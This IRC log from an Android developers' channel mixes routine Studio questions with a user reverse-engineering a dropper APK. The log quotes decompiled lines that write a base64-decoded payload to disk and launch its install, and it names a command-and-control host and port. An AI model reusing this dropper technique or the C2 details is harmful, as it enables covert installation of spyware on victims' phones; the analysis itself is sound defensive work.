**** BEGIN LOGGING AT Thu Jun 16 02:59:58 2016 Jun 16 03:01:52 haha my app gets re-initialized on rotate? i.e. I tilt my screen 90 degrees, and all my variables start back out at 0 and start counting up again (since they count up) Jun 16 03:04:04 jesseg have you even read the basics? Jun 16 03:04:19 go to d.android.com and begin from the beginning ;) Jun 16 03:19:04 @g00s: Can you help me with that notification question ? Jun 16 03:23:33 AS 2.1.2, Preferences..., Live Templates. I am unable to add my custom templates because the popups are disapering immediately after a click. On MacOS 10.11.5 Jun 16 03:23:55 any suggestions, how to resolve? Jun 16 03:31:20 hello Jun 16 03:32:16 hi Jun 16 03:33:08 I'm trying to figure out what this line of code is doing in this .aok Jun 16 03:33:15 g00s, I've read some of the basics, but as you know, Basics actually covers a pretty vast set of gotchas. I can tell when I'm asking a simple question or not because I google it and if the answer is all over the place then I know it's a simple question. If I cannot find the answer after 4 days I know that it's one of those more obscure basics :D Jun 16 03:33:59 Screen orientation causing resetting MainActivity is a simple basic. I found the answer to that within seconds on google :D Jun 16 03:34:21 intent.setDataAndType(Uri.parse((new StringBuilder()).append("file://").append(getExternalFilesDir((new StringBuilder()).append(Environment.DIRECTORY_DOCUMENTS).append("/android.engine.apk").toString()).getCanonicalPath()).toString()), "application/vnd.android.package-archive"); Jun 16 03:34:31 I have an a.java and a MainActivity.java Jun 16 03:35:07 a.java is a class that implements android.content.DialogInterface.OnClickListener Jun 16 03:36:09 in our main activity we're importing app.Activity, content.ComponentName, content.Intent, content.pm.PackageManager, net.Uri, os.Bundle, os.Environment, util.Base64 Jun 16 03:41:13 what's this application/vnd. bidness? Jun 16 03:45:33 Caused by: java.lang.IllegalStateException: FragmentManager is already executing transactions Jun 16 03:45:44 solution my problem. do not use full screen mode on macos for AS :( Jun 16 03:46:01 so i still can't do something like getFragmentManager().beginTransaction().commitNow(); in Fragment#onActivityCreated() .... Jun 16 03:46:30 t2mkn wut? i love full screen Jun 16 03:47:00 g00s: there are popup issues with AS while using fullscreen mode. Jun 16 03:47:13 havent seen any Jun 16 03:47:33 it used to be bad, like a dialog would pop up on another screen Jun 16 03:47:35 like if you want to add a live template by clicking on + button, the popup went out immediately Jun 16 03:47:37 and you couldn't focus on it Jun 16 03:47:46 lol orly Jun 16 03:47:51 I'm trying to make sense of what this is doing Jun 16 03:48:18 g00s: u don't have this issue at all? Jun 16 03:48:19 it looks like it's trying to put something in the browser web address bar that redirects to some file on the device itself via file:// ... Jun 16 03:48:26 t2mkn no... Jun 16 03:48:31 but i'm not ure what thisEnvironment.DIRECTORY_DOCUMENTS is Jun 16 03:49:07 OSX 10.11.5 AS 2.1.2 Jun 16 03:49:16 on macbook pro Jun 16 03:49:16 t2mkn same Jun 16 03:49:21 same lol Jun 16 03:49:28 15" Jun 16 03:49:36 same lol Jun 16 03:49:42 huh !!! :D Jun 16 03:49:55 then how come i have this problem Jun 16 03:50:29 try this on AS while on fullscreen mode of osx Jun 16 03:50:34 t2mkn when i click + it doesnt make a dialog tho Jun 16 03:50:41 Preferences..., Live Templates. I am unable to add my custom templates because the popups are disapering immediately after a click. On MacOS 10.11.5 Jun 16 03:50:51 ya no dialog, thats a popup Jun 16 03:51:01 the existing dialog changes Jun 16 03:51:07 can you use that, or that gets away Jun 16 03:51:17 seems ok ... Jun 16 03:51:35 https://code.google.com/p/android/issues/detail?id=192746 Jun 16 03:52:26 t2mkn yeah thats old tho Jun 16 03:52:45 but thats happening with me Jun 16 03:53:05 so when i say pref -> live templates, there is a list Jun 16 03:53:14 + is on right Jun 16 03:53:32 bottom says 'no live templates selected' Jun 16 03:53:51 when i do + , 1 Jun 16 03:54:11 that whole area that said 'no live template' populates Jun 16 03:54:20 but its all in the same dialog Jun 16 03:54:24 there are no new dialogs Jun 16 03:54:38 ya no dialog Jun 16 03:54:45 the menu popup Jun 16 03:54:57 https://news.ycombinator.com/item?id=11913652 Jun 16 03:55:20 t2mkn so you can't select 1 or 2 then? Jun 16 03:55:31 yes Jun 16 03:55:35 click on any live template, then click on "Change" for Applicable in Jun 16 03:55:49 while on fullscreen mode Jun 16 03:55:59 does that work for u ? Jun 16 03:56:30 yeah Jun 16 03:56:43 i'm using java 6 (apple) Jun 16 03:57:15 me too on jave 6 Jun 16 03:57:28 t2mkn time to use vim ! Jun 16 03:58:07 i love vim though Jun 16 03:59:01 vim4lyfe Jun 16 03:59:20 vim 8 must be coming soon ... Jun 16 03:59:37 i haven't gotten any updates lately, quiet before the storm ? Jun 16 04:00:36 me too Jun 16 04:01:19 but whats new Jun 16 04:01:34 some async stuff Jun 16 04:01:44 so scripts wouldn't block the whole thing haha Jun 16 04:02:20 i still use vim to write my git commit messages & edit config files, but started using VS Code lately for anything more Jun 16 04:02:41 but it doesn't have a great vim mode Jun 16 04:02:58 last time i configured vim so havily that i forgot what i had done for which things after a month on leave. :P Jun 16 04:03:26 i'm kinda amazed how quickly MS cranks things out Jun 16 04:07:14 g00s, have you perchance had any experience with drawing with 2D primitives on a SurfaceView which was was a sibling to other buttons and text views in a RelativeLayout? Jun 16 04:07:24 no Jun 16 04:07:29 ahh K Jun 16 04:07:41 maybe it was adg who said he'd done it Jun 16 04:07:54 yeah Jun 16 04:08:39 well I posted a question on stackoverflow maybe someone will chance upon it there Jun 16 04:09:37 when i initially installed this app it asked for all these permissions Jun 16 04:09:47 when i uninstalled it and reinstalled it, I was not prompted again, what gives? Jun 16 04:10:21 hm that sounds weird Jun 16 04:17:55 xheemax.noip.me any idea what this is? Jun 16 04:18:29 Leeds you first :) Jun 16 04:18:42 ShadeS, is it an app for some dynamic DNS service? Jun 16 04:19:05 I'm not sure, i was given this .apk, and i was told to see what i 'could find out' Jun 16 04:19:11 i tried decompiling it and stuff Jun 16 04:19:19 managed to get my dex to jar to classs to java Jun 16 04:19:29 oh I think it's a virus Jun 16 04:19:31 i have two .java files, one is a.java the other is MainActivity.java Jun 16 04:19:33 or trojan Jun 16 04:19:39 jesseg: yes it's some kind of thing like that Jun 16 04:19:47 i have it running in a vm Jun 16 04:19:52 so it's kind of benigne Jun 16 04:19:57 try uploading it to https://virusscan.jotti.org/ Jun 16 04:20:05 the whole apk? Jun 16 04:20:20 you can try, not sure if that knows how to unzip an apk Jun 16 04:20:29 but it might :D Jun 16 04:20:40 or one of the virus scanners may know how to look inside an apk Jun 16 04:21:25 ShadeS: you were given it? Jun 16 04:21:52 12 entities said they found nothing, 8 entities said there is something in it Jun 16 04:22:38 What did they say it was? Jun 16 04:23:12 marked as Deng.TQV , TrojanDropper.Agen.El, HEUR:Trojan-Dropper.AndroidOS.age.., Riskware/Agent!Android, Android,Agent.A2be2 (PUP), Android:dropper-HS, Trojan-Dropper.AndroidOS.Agent, Andr/Dropr-FH Jun 16 04:23:28 they didn't really, it was kind of for me to dtermine that Jun 16 04:23:32 ahh, a PUP Jun 16 04:23:46 i mean the whole obvious premise was that I knew that it'd be /something/ but whatever that /thing/ is I'd be left to see what I could determine Jun 16 04:24:00 if I can do better than completely noob I might get an entry levle reversing job Jun 16 04:24:32 Potentially unwanted program Jun 16 04:24:56 I see Jun 16 04:25:13 but it says it's a dropper Jun 16 04:25:29 which means it probably can install other things Jun 16 04:25:35 yeah Jun 16 04:25:43 it wanted permission to do just about everything Jun 16 04:25:52 now it's on an android phone I don't ever use just had sitting around Jun 16 04:25:52 naturally :P Jun 16 04:25:58 no sim or any accts in it Jun 16 04:26:20 What sort of calls do you see in the java? Jun 16 04:26:43 not in logcat you mean but in the actual java? Jun 16 04:27:02 yeah, did you dissassemble it or whatever you call it? Jun 16 04:27:13 it imports 8 things Jun 16 04:27:48 app.Activity, content.componentName, content.intent, content.pm.packagemanager, net.uri, os.bundle, os.environment, util.base64 Jun 16 04:28:16 line 45 in mainActivity.java is: intent.setDataAndType(Uri.parse((new StringBuilder()).append("file://").append(getExternalFilesDir((new StringBuilder()).append(Environment.DIRECTORY_DOCUMENTS).append("/android.engine.apk").toString()).getCanonicalPath()).toString()), "application/vnd.android.package-archive") Jun 16 04:28:52 which I can't tell exactly what that's doing but it looks like it's trying to access the URI or something through the webbrowser, and pass it file:// some location on the android Jun 16 04:29:00 I'm not sure what this DIRECTORY_DOCUMENTS is ... Jun 16 04:29:12 or what application/vnd.android.package-archive does, maybe unarchive/install something? Jun 16 04:29:34 that's in private void c() Jun 16 04:29:42 there are 4 private void a-d functions Jun 16 04:30:30 void d() gives the error alert 505 when I try to load it on my device, and I see the code for this, 'error 505' 'sorry your device is not compatible wiht this application' Jun 16 04:30:51 ShadeS, yeah Environment.DIRECTORY_DOCUMENTS is only supported on Android 4.4 and higher it seems Jun 16 04:31:03 and I think it's a path to the storage card Jun 16 04:31:22 damnit man i don't have a storage card, do you think I'll need one ot farther investigate this ? Jun 16 04:31:46 well, it may store internally if you don't have an external storage card Jun 16 04:31:54 you know, when you take a picture, where does it go? Jun 16 04:32:57 damnt i just kniocked out the battery when i was opening the back Jun 16 04:33:00 It looks like that long command may be setting an intent (i.e. launching) file://path-to-external-files/Documents/android.engine.apk Jun 16 04:33:13 i think it defaults to the hd Jun 16 04:33:21 ah but since it can't get online it can't get to the android.engine.apk? Jun 16 04:33:36 You could make your own app that creates that same string but shows it in a textView Jun 16 04:34:13 'that' can you point it out more explicitly? Jun 16 04:34:43 there's also a couple of other lines that lok important: Jun 16 04:34:54 in the public void a() there's an if statement with: Jun 16 04:34:59 !(new File((new StringBuilder()).append(getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS).getCanonicalPath()).append("/android.engine.apk").toString())).exists()) Jun 16 04:35:19 and on the next line: (new FileOutputStream((new StringBuilder()).append(getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS).getCanonicalPath()).append("/android.engine.apk").toString())).write(Base64.decode(getString(0x7f020000), 0) Jun 16 04:35:20 probably looking in another common place for downloads. Jun 16 04:35:40 what's thie base64.decode get string for? Jun 16 04:35:48 is this 0x7f0200000 some memory address? Jun 16 04:36:04 That's decoding some base64 into some binary sequence that would not be easily typed into java source Jun 16 04:36:54 i see, beausse in this public.xml I see this Jun 16 04:37:09 getString converts that hex value to a string like "7f0200000" I presume, but then it gets base64 decoded Jun 16 04:37:37 don't presume Jun 16 04:37:42 RTFM Jun 16 04:38:10 well, I mean, the resutls of getString are fed right into Base64.decode. Jun 16 04:38:20 That decodes to 6M4, not sure if that's helpful Jun 16 04:38:29 right, but if you don't know what getString does... Jun 16 04:39:53 Leeds, it looks like getString takes an int and converts it to a string. Jun 16 04:40:06 no, it doesn't Jun 16 04:40:10 there's this strings.xml too: https://bpaste.net/show/9ed1254b8465 with this super long what looks like a bse 64encoded value Jun 16 04:40:11 What does it do? Jun 16 04:40:19 but when i try to decode it I don't seem to get anything meaningful Jun 16 04:40:25 jesseg: that's what I'm trying to figure out Jun 16 04:41:11 getString() means get a string Jun 16 04:41:23 ShadeS, I was askign Leeds. He knows what getString() does but says it doesn't accept an integer argument and return a string Jun 16 04:41:25 so its not int Jun 16 04:41:38 I'll say it again, RTFM Jun 16 04:41:44 lol :D Jun 16 04:42:06 and if you don't know the context of the call... Jun 16 04:42:44 you should go back to #java jesseg Jun 16 04:43:13 razor1101, :D probably I should go *to* #java, having never been there :D :D Jun 16 04:44:00 now, if you're an android developer, you'll recognise the pun I just made... Jun 16 04:44:01 that would be a good start Jun 16 04:44:36 alternatively, the clue I just gave... Jun 16 04:44:36 womp womp Jun 16 04:44:42 Leeds, oh, I'm not. I'm just trying to learn because I think it's fun and the people here are such wonderful people Jun 16 04:44:52 ok, because leeds is fucking with you, getString() does indeed take an int and turn it into a String Jun 16 04:44:52 so uh what else can I do to try to figure out what this thing does Jun 16 04:44:58 but the int is a special int Jun 16 04:44:59 i used dex2jar Jun 16 04:45:01 it is a resource id Jun 16 04:45:04 and i have .java souces now Jun 16 04:45:07 and .xml files that i can read Jun 16 04:45:18 usgrant, that makes more sense. Thanks! Jun 16 04:45:27 dex2jar won’t give you nice “R.string.my_string” resource names Jun 16 04:45:29 it’ll be like Jun 16 04:45:29 i have smali files too Jun 16 04:45:35 usgrant: I'm trying to run a fishing course here! Jun 16 04:45:38 getString(0xfa7f43) Jun 16 04:46:32 usgrant: yeah I've noticed Jun 16 04:46:38 that's only in one place apparently too Jun 16 04:46:43 some 0x hex value Jun 16 04:46:49 you might be able to cross-reference it with a decompiled R.java Jun 16 04:47:16 ShadeS, so then getString on that hex name would grab the string from the public.xml or something based on the ID, right? Jun 16 04:47:38 almost certainly strings.xml Jun 16 04:49:08 jesseg: Jun 16 04:49:30 when i tried to base64 decode the string in strings.xml i don't get a meaningful thing Jun 16 04:49:31 ShadeS, I don't know if it is possible, but if you can, it would be helpful to load the app in a debugger and single step through the decompiled source then you can snoop on the value of variables and stuff Jun 16 04:49:44 i've been trying to get to that step Jun 16 04:49:48 but i've been having a really hard time Jun 16 04:49:53 question: do either of you have the faintest clue what you’re doing Jun 16 04:49:54 ShadeS, what is the value for the string in question? Jun 16 04:50:04 and why you need to do it Jun 16 04:50:34 usgrant, I don't. I'm here to learn about drawing primitives on SurfaceViews, and while I wait for somebody who knows how, I'm trying to help others because I know that's how it works :D Jun 16 04:51:02 oh. surfaceview is something i have attempted to avoid as much as humanly possible Jun 16 04:51:25 usgrant, why? Jun 16 04:51:34 Is there a better way? Jun 16 04:51:36 jesseg: I had just pasted apastebin Jun 16 04:51:46 ShadeS, oh K I'll check it out Jun 16 04:51:50 there's this strings.xml too: https://bpaste.net/show/9ed1254b8465 with this super long what looks like a bse 64encoded value Jun 16 04:51:54 i’ve never been in a situation where i absolutely positively needed a surfaceview to solve whatever thing i was trying to do Jun 16 04:52:35 usgrant, well, all I need to do is draw simple 2D primitives (likes, points) at 30fps on a black background. What approach would you suggest? Jun 16 04:54:23 i got a build failed ;( Jun 16 04:55:43 ShadeS, ahh sorry man. I dunno anything about the process of recompiling decompiled aps Jun 16 04:55:47 apps Jun 16 04:55:54 ah that's not too big a worry Jun 16 04:56:00 i'm more concerned what's hiding in that encoded string format Jun 16 04:56:52 how can i deobfuscate this string? Jun 16 04:57:07 ShadeS, I'm trying a few things Jun 16 04:57:28 does anyone know how to make a viewpager with scrolling lists? Jun 16 04:57:36 I'm basically trying to make a Trello clone Jun 16 04:57:39 thanks Jun 16 04:58:07 and its actually much harder than I thought. I have no idea how to make the draggable card between lists Jun 16 05:02:36 ShadeS, it decodes to a binary program - probably java or perhaps native? Jun 16 05:03:37 ShadeS, looks like an SMS spy app :P : https://virusscan.jotti.org/en-US/filescanjob/fpofx4k0oe Jun 16 05:03:55 I uploaded the base64 decoded file for a virus scan Jun 16 05:04:20 i see Jun 16 05:04:20 it's a jar file Jun 16 05:04:35 so i can pull classes/java out of it i guess? Jun 16 05:04:42 not sure yet Jun 16 05:04:50 base64 decode gave me errors, I'm not sure if it's all there Jun 16 05:05:03 but there are some strings in it Jun 16 05:05:17 yeah i tried decoding it andi got errors as well Jun 16 05:06:27 ShadeS, well I unapcked it and got an AndroidManifest.xml, a MTA-INF folder, a classes.dex, an res folder, and a resources.arsc Jun 16 05:06:37 jar xf test.jar extracts them all in current directory Jun 16 05:07:30 wait, from just that string? Jun 16 05:07:35 ShadeS, yes Jun 16 05:07:51 because i was initially given an apk, and i unzipped it, and did my dex to class to java stuff Jun 16 05:07:57 and within one of the xml files was that string Jun 16 05:08:06 so we're talking about another application BURRIED within an exisitng one? Jun 16 05:08:10 that string is the payload Jun 16 05:08:15 i see Jun 16 05:08:16 yes, remember, it's a dropper app Jun 16 05:08:27 the main app creates another app from that encoded string, and runs it. Jun 16 05:08:34 The inner app is probably a SMS spy app Jun 16 05:08:57 hmmm the xml files seem to be binary in here.. Jun 16 05:09:23 jar xf test.jar doesn't seem to be extracting them Jun 16 05:10:02 well, you may not have got a clean copy/past of the binary. I used the linux base64 -d > test.jar command to convert from base64 to binary Jun 16 05:10:25 Oh, yeah, the reason the main app was creating a string path to the file storage area was to write its baby app there Jun 16 05:11:21 ah Jun 16 05:13:12 So does Android Studio work with JDK 8? Jun 16 05:13:14 The biggest file in the baby app is classes.dex and I bet that's where the code for the actual trojan is Jun 16 05:14:04 the actual syntax was 'base64 -d > test.jar' ? Jun 16 05:14:07 what's the > ? Jun 16 05:14:26 ShadeS, the > redirects standard output (i.e. the decoded bytes) into the file named test.jar Jun 16 05:14:42 oh, I did cat encoded-file | base64 -d > test.jar Jun 16 05:14:46 whoops Jun 16 05:14:49 i totally hosed that command Jun 16 05:15:15 the cat reads the encoded file, pipes it into base64 -d who decodes it, then > filename redirects the decoded output to filename. Jun 16 05:16:31 invalid option d? Jun 16 05:16:43 oh i misseed the pipe Jun 16 05:17:24 Can people here me? I have been having internet issues, did I ping out? Jun 16 05:17:28 hmmmm. I'm using base64 program from the GNU coreutils 8.11 Jun 16 05:17:30 this is pretty involved but i'm having fun figuring out what this does Jun 16 05:17:38 oh hey LunarEclipse120 you're still here Jun 16 05:17:39 jesseg: i just typed it in w/o the | Jun 16 05:17:43 it looks to be working ish so far Jun 16 05:17:52 ShadeS, oh OK Jun 16 05:18:05 Hey jesseg Jun 16 05:18:14 Does anyone know if JDK 8 works with Android Studio? Jun 16 05:19:30 LunarEclipse120, hmm I don't know. I think I'musing jdk1.8.0_25 with Android Studio on Slackware Linux Jun 16 05:19:51 jesseg: It working fine? Jun 16 05:19:57 Are we already up to 8.0.0 and I'm still at 1.8.0?! Jun 16 05:20:10 I'm suprised Jun 16 05:20:44 LunarEclipse120, seems to be. I had to manually install an old version of platform-tools because I'm 32 bit and the newest tools are 64 bit only, but Android Studio is latest stock Jun 16 05:20:44 I had issues before so I went back to 7. Turns out I didn't capitlise the S in String and I had the wrong build-tools version xD Jun 16 05:21:02 I switched back to 8, seems to be working well but someone said it only works with 6 and 7 Jun 16 05:21:33 jesseg: oh beautiful now when i jd-gui this new classes-dex2jar.jar file Jun 16 05:21:41 i have a wealth of information when before I had jack squaty Jun 16 05:21:53 Anyone know how to make a function loop? I want it to keep updating a TextView. Jun 16 05:22:04 ShadeS, cool, now you should be looking at the real app :D Jun 16 05:22:05 I tried a while but those don't seem to work well. Jun 16 05:22:23 there are so many more things in the payload Jun 16 05:22:31 LunarEclipse120, you mean like on a timer, keep calling a function every tenth of a second or something? Jun 16 05:22:31 dozes of these files listed under Transfer Jun 16 05:22:48 audiomanager, batteyr, bluetooht, camera, etc, etc, etc Jun 16 05:22:56 i guess those are there to throw me off from the thing Jun 16 05:22:59 ShadeS, yeah sounds like a spy app LOL Jun 16 05:23:05 jesseg: That, or even better. Have it update when ever something changes on the TextEdit it is supposed to mirrot. Jun 16 05:23:17 I mean EditText Jun 16 05:23:38 *mirror Jun 16 05:24:09 Also, is there a way for the debugger to show the variables by just pausing without any breakpoints? Jun 16 05:24:13 LunarEclipse120, I think EditText has an on-change hook which would allow you to call whatever other function you wanted each time the EditText was changed Jun 16 05:24:42 jesseg: are they in tehre to throw me off or are those like, parts of the system? Jun 16 05:24:43 LunarEclipse120, well, you can single step without breakpoints. Let me see if there is a "Run to cursor" option Jun 16 05:24:52 or is the app trying to mislead me into thinking they are just 'regular ole system things' Jun 16 05:25:29 ShadeS, my guess is that it's a spy app that listens to the microphone, the bluetooth microphone, watches the camera, reads SMS texts, and sends them all back to home base Jun 16 05:25:31 jesseg: what dead give away makes you think it sounds like a spy ap? Jun 16 05:25:36 but I'm just guessing Jun 16 05:25:46 home base being ... Jun 16 05:25:56 xheemax.noip.me ? Jun 16 05:26:06 ShadeS, well, haha, when I uploaded the jar file to jotti virus scan, half of the scanners that detected it called it SmsSpy Jun 16 05:26:21 the base 64 version you mean Jun 16 05:26:23 I don't know where home base is, but you may be able to find what IP it's connecting to. Jun 16 05:26:29 jesseg: I pressed Pause in the debugger and looked at main but I didn't see any of the methods. Jun 16 05:26:31 yes the base64 version, once decoded Jun 16 05:26:57 https://virusscan.jotti.org/en-US/filescanjob/6x9ry9bfgt vs https://virusscan.jotti.org/en-US/filescanjob/fpofx4k0oe Jun 16 05:27:19 LunarEclipse120, oh, right. Android is generally event driven. Unless you have a blocking read or a dead loop, pressing pause won't land you anyplace because no code is being executed unless an event just happens to be happening, like a button press or screen draw Jun 16 05:27:20 some of the ones in the first one 'false positive' detection as in the 2nd one they didn't detect anything Jun 16 05:27:23 isn't that a bit weird? Jun 16 05:27:40 jesseg: So I would just need to log the variables to logcat? Jun 16 05:27:54 LunarEclipse120, yeah that works Jun 16 05:28:04 good because you get timestamps too Jun 16 05:28:32 wonder what these variables _ are Jun 16 05:28:40 like _Camera and _System and _AudioManager Jun 16 05:28:42 Shades, nah makes sense. The first scan was scanning the dropper app, and did not decode the base64 encoded string. Jun 16 05:28:46 vs just the ones at the top athat don't have the _ Jun 16 05:29:02 how would you even automate that kind of thing Jun 16 05:29:05 The second scan was of the payload app which is an entirely different app Jun 16 05:29:10 it seems like there has to be a human component here Jun 16 05:29:26 Do I need to check "enabled" in the properties? Jun 16 05:29:43 LunarEclipse120, I don't understand Jun 16 05:29:51 ahh ha! private static final b b = new b("xheemax.noip.me", 2211); Jun 16 05:29:58 that looks like where phone is homeing Jun 16 05:30:08 ShadeS, hahahaha I bet on port 2211. Jun 16 05:30:51 ShadeS, that IP is in Israel Jun 16 05:31:12 and not listening on port 2211, maybe that means something else Jun 16 05:31:15 jesseg: For XML items. Like the EditText has an enabled property. Is it used? Jun 16 05:31:34 LunarEclipse120, Oh, I dunno. I never worried about the Enabled flag. Jun 16 05:32:24 Oh ok :D Jun 16 05:32:25 or maybe the home base server got shut down Jun 16 05:34:02 why do you bet port 2211? Jun 16 05:34:15 So how would I do the on-changed thing? Setup some sort of listener? Jun 16 05:34:25 localRequest.setDestinationInExternalFilesDir(MyService.a, Environment.DIRECTORY_PICTURES, this.b); Jun 16 05:34:40 that sounds likt it's copying all the photos? Jun 16 05:34:58 ShadeS, Ahh, noip.me is a dynamic DNS service. So the user xheemax had it pointing to his dialup IP so he could run the home base server on his PC at home while playing hooky from school Jun 16 05:35:20 Hmm I found it Jun 16 05:35:23 ShadeS, well, it just looked like maybe a domain and a port number. Jun 16 05:35:43 LunarEclipse120, cool. I've never used on change but did a quick google and saw references to it Jun 16 05:36:42 so from a reversing standpoint, now that this payload is undone Jun 16 05:36:48 I can say it's 'complete' ? Jun 16 05:37:15 ShadeS, by the way, the original functions probably weren't named a,b,c,d, etc.,, but the names got lost during compile, so the decompiler had to give them names. But if you can figure out (or guess) at what each function does, you can rename them and all references to them to help you understand what it does Jun 16 05:37:37 urgh that'd be a pain in the ass to do Jun 16 05:37:59 ShadeS, well, I dunno. 'complete' might include knowing exactly what it does and where it sends the data but you certainly made good headway Jun 16 05:38:32 class g has variable names a through q Jun 16 05:38:41 yeah Jun 16 05:38:50 jesseg: well I found the domain name so isn't that kwnoing where it sends the data/ Jun 16 05:38:56 or can it still get yet even more specific than that? Jun 16 05:39:31 ShadeS, well, you could find out what port it connects to, and what username and password it sends if any, and if it has self-upgrade features or realtime remote control features Jun 16 05:39:44 and if t can lock or erase the target device Jun 16 05:39:59 My stupid antivirus keeps blocking zipalign. Jun 16 05:40:05 and perhaps if it sends email notifications or sms notifications to anybody Jun 16 05:42:29 that's so much work Jun 16 05:42:31 Doesn't seem to work http://pastebin.com/wJEUVVeh Jun 16 05:43:22 jesseg: are there any other tools to quickly scour over this java stuff Jun 16 05:43:34 or is now the part where i have to get nitty gritty with each and every single line of code in this thing? Jun 16 05:43:34 ShadeS, one time my brother received an email with a MS windows trojan attached, so he ran it in an emulator and reverse engineered it. He found out that it connected to a password protected IRC channel with hundreds of other infected computers, and waited for commands from some Romanian hacker kids who would use them to flood ping people :D - Once he (my brother) got the password, he could join the channel too and watch everything going on in the co Jun 16 05:43:34 mmand and control channel. The hackers freaked out when he began speaking to them Jun 16 05:44:05 lol Jun 16 05:44:12 'freaked out' Jun 16 05:44:18 :O Jun 16 05:44:23 I got it working :) Jun 16 05:44:33 ShadeS, I don't know. You may be able to load it in Android Studio, it may have a function to change all referneces to a function when you rename the function Jun 16 05:44:39 anytime you're running a show like athat and someone drops in to say something in cyrlic of course they get scurred Jun 16 05:45:04 erm I mean to stepthrough/debugger this payload Jun 16 05:45:11 do I just load the jar in android studio? Jun 16 05:45:12 ShadeS, well it was a password protected channel, and they thought they were alone with all their bots.. till one of their bots (which was really my brother) started speaking Jun 16 05:45:21 I had a hard time getting any vm working inside this vm Jun 16 05:45:46 Thanks jesseg Jun 16 05:46:00 ShadeS, I don't know if Android Studio can load a jar, but you would have to decompile it to java files first and try to sort of recreate the project Jun 16 05:46:04 LunarEclipse120, no problem! Jun 16 05:46:07 I tried doing a bunch of weird listners earlier but this is much better. Jun 16 05:46:29 good work there LunarEclipse120. Jun 16 05:47:35 Thanks Jun 16 05:47:52 What does the super thing do on OnCreate? Jun 16 05:48:04 LOL beats me, LunarEclipse120 Jun 16 05:48:20 I am just starting to tinker with Android and I don't know Java :D Jun 16 05:48:54 I developed a little before. But I need to get back into it. Jun 16 05:48:57 Which I am doing.' Jun 16 05:49:04 jesseg: erm well i used jd-gui to get the transfer and other file into classes Jun 16 05:49:13 arggggggggggggggghhhhhhhhhhh the vm is hella lagging Jun 16 05:49:15 LunarEclipse120, hmm, super seems to have something to do with the parent class Jun 16 05:49:29 ShadeS, vm? Jun 16 05:49:41 jesseg: Well it is auto generated so I guess I am just going to ignore it. Jun 16 05:49:50 LunarEclipse120, that's what I do. Jun 16 05:49:55 It's always there Jun 16 05:50:53 Java is bad for my digestion. I grew up with 8 bit PIC assembly, QBasic, then C, and java just confuses the charles dickens out of me Jun 16 05:51:14 jesseg: yes i'm doing all this decompiling in a santoku vm Jun 16 05:51:29 i couldn't properly emulate an android virtual device in the santoku vm so i just loaded the apk onto an android phone i don't use Jun 16 05:51:33 which i'll probably have to now wipe Jun 16 05:51:37 since it's infected with this thing Jun 16 05:51:42 but i don't use it for anything it doesn't even have a sim Jun 16 05:52:13 ShadeS, ahh, I hadn't heard of santoku but is it so you can run Linux within MAC/Windows? Jun 16 05:53:18 But anyway, if you can get the trojan converted to java files you should be able to recreate the project in Android Studio running natively which should run better than in an emulator Jun 16 05:53:33 i'm using virtualbox to fire up a santoku vm which is a linux distro geared towards android reversing Jun 16 05:53:42 Ohhhh OK Jun 16 05:57:53 usgrant, when you last were drawing 2D primitives in an Android app, what kind of way did you choose instead of SurfaceView? Jun 16 06:00:05 speaking of digestion, it's snack time and bedtime :P Jun 16 06:27:02 alright Jun 16 06:28:34 if I can figure out how to debugger this last bit i'll be in luck Jun 16 06:29:51 sounds like fun alright Jun 16 06:30:22 hey all, I am trying takePictures using the alarm Manager, I am having some troubles - could someone please help me out? Jun 16 06:31:20 howdy akshitkumar1 I'm just learning the very beginnings myself so probably not a lot I can do but go ahead and explain your problem. Most of the smart folks have gone to bed, which is what I'm about to do Jun 16 06:33:05 I remember reverse engineering a trojan bot's irc password back in the late 90's Jun 16 06:33:17 'full tear down of this app, what ti does, how it does it, and anything else you think is interesting' Jun 16 06:33:34 I took over the guy's irc channel and other bots Jun 16 06:33:41 jesseg: so I guess what it does and how it does it are now going to be detailed in this last payload Jun 16 06:34:01 without debugging through it's going to be hrd to figure that out ? Jun 16 06:35:35 what android device is best emulated? Jun 16 06:35:45 i have to uninstall some of these packages i'm getting close to filling up this vm's hard drive Jun 16 06:35:57 ShadeS: Nexuses Jun 16 06:36:10 Nexii Jun 16 06:36:14 I'm going to delete just about all the packages i have in here and just in stall one Jun 16 06:36:21 i wish i had a way to override build config parameters Jun 16 06:36:37 cuz i can't use res because i target non .aar supporting projects Jun 16 06:36:38 android 6.0 takes up too much room Jun 16 06:36:41 that ones gotta go Jun 16 06:37:36 Nick-S: what's that show up in the Android SDK Manager as? Jun 16 06:37:49 ?! Jun 16 06:38:31 what revision of the Android SDK Build-tools do I want? Jun 16 06:39:02 its all up to you man Jun 16 06:39:22 I just want the one that's going to work on my machine without taking up too much room Jun 16 06:42:11 hey! does anyone know how to run androidTest/'s that are located in library projects? when I do assembleAndroidTest for the flavor of the app project I want, the tests from the library project(s) are not included Jun 16 06:44:32 ShadeS, yeah you need to either step through it in the debugger or reverse engineer what it does by understanding what each function does and who calls what Jun 16 06:44:54 azgul, I saw that test folder and wondered what ti's for Jun 16 06:47:02 good night everyone Jun 16 06:47:06 jesseg: that sounds like it'll be hard with each of these functions having names like a, b, c, d ;( Jun 16 06:48:33 would a deobfuscator work in this case? Jun 16 06:56:47 jesseg, it's for instrumentation tests, aka. tests that control a device/emulator.. so you can make sure that your UI performs correctly Jun 16 06:57:43 hey, could someone point me to a code snippet for taking pictures using the camera api and alarm manager/ Jun 16 06:57:46 *? Jun 16 07:03:08 akshitkumar1, I've never done that myself but you may be able to find some clues by searching google, but sometimes the results can be kind of confusing Jun 16 07:06:18 ShadeS, yeah... But, in Android Studio, you can right-click a function name (either where it's defined or any place it's called) and choose "Refactor" and then "Rename" and if you rename it, it renames all instances Jun 16 07:06:39 so if you know what a function does, you can rename it that way and all instances of that function's name will be updated Jun 16 07:07:03 oh snap Jun 16 07:07:10 and it takes care of that in /all the places/ ? Jun 16 07:07:13 that's kinda sweet Jun 16 07:07:13 That saves having to search for "a" and replace it while trying to keep track of which "a"s are function names and which ones are parameters Jun 16 07:07:35 well I tested it in one file and it takes care of it in all places in that file, not sure about across files but I bet it does Jun 16 07:07:36 i still have to figure out how to get an android vm running ;( Jun 16 07:07:38 try and see :) Jun 16 07:07:53 well, you don't really need to get an android vm running.. Jun 16 07:08:09 Of course it renames across your entire project Jun 16 07:08:22 If you can get the code to load in the editor and start giving functions meaningful names as you reverse engineer it, then you can emulate it in your brain :P Jun 16 07:08:32 CedricBeust, wonderful to hear ! Thanks! Jun 16 07:08:35 this Intel x86 Atom_System Image good? Jun 16 07:08:44 i don't have a lot of space left to install all these things Jun 16 